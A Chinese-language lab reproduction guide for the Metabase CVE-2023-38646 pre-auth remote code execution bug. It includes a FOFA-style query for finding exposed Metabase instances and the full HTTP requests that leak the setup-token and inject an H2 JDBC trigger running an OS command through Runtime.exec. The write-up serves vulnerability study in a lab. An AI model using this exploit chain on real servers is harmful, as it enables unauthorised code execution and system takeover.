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93 lines
2.7 KiB
Markdown
93 lines
2.7 KiB
Markdown
# Metabase 未授权 JDBC 远程代码执行漏洞 CVE-2023-38646
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## 漏洞描述
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Metabase是一个开源的数据分析平台。在其0.46.6版本及以前，存在一处远程代码执行漏洞，未授权的用户可以使用JDBC注入在服务器上执行任意代码。
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参考链接：
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- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
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- https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
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- https://mp.weixin.qq.com/s/MgfIyq0OJwnKOUF2kBB7TA
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## 网络测绘
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```
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app="Metabase"
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```
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## 环境搭建
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Vulhub执行如下命令启动一个Metabase server 0.46.6：
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```
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docker compose up -d
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```
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服务启动后，访问`http://your-ip:3000`可以查看到Metabase的安装引导页面，填写初始账号密码，并且跳过后续的数据库填写的步骤即可完成安装：
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## 漏洞复现
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首先，需要先访问`/api/session/properties`来获取Metabase的`setup-token`：
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```
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GET /api/session/properties HTTP/1.1
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Host: your-ip:3000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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要利用漏洞，必须要获取这个Token。
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接着，将刚才获取的`[setup-token]`替换进下面这个请求后发送：
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```
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POST /api/setup/validate HTTP/1.1
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Host: your-ip:3000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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Content-Length: 739
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{
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"token": "[setup-token]",
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"details":
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{
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"is_on_demand": false,
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"is_full_sync": false,
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"is_sample": false,
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"cache_ttl": null,
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"refingerprint": false,
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"auto_run_queries": true,
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"schedules":
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{},
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"details":
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{
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"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
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"advanced-options": false,
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"ssl": true,
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"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/success')\u000A$$"
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},
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"name": "an-sec-research-team",
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"engine": "h2"
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}
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}
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```
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虽然 response code 为 400，但可以看到，`touch /tmp/success`已成功在Metabase容器中执行：
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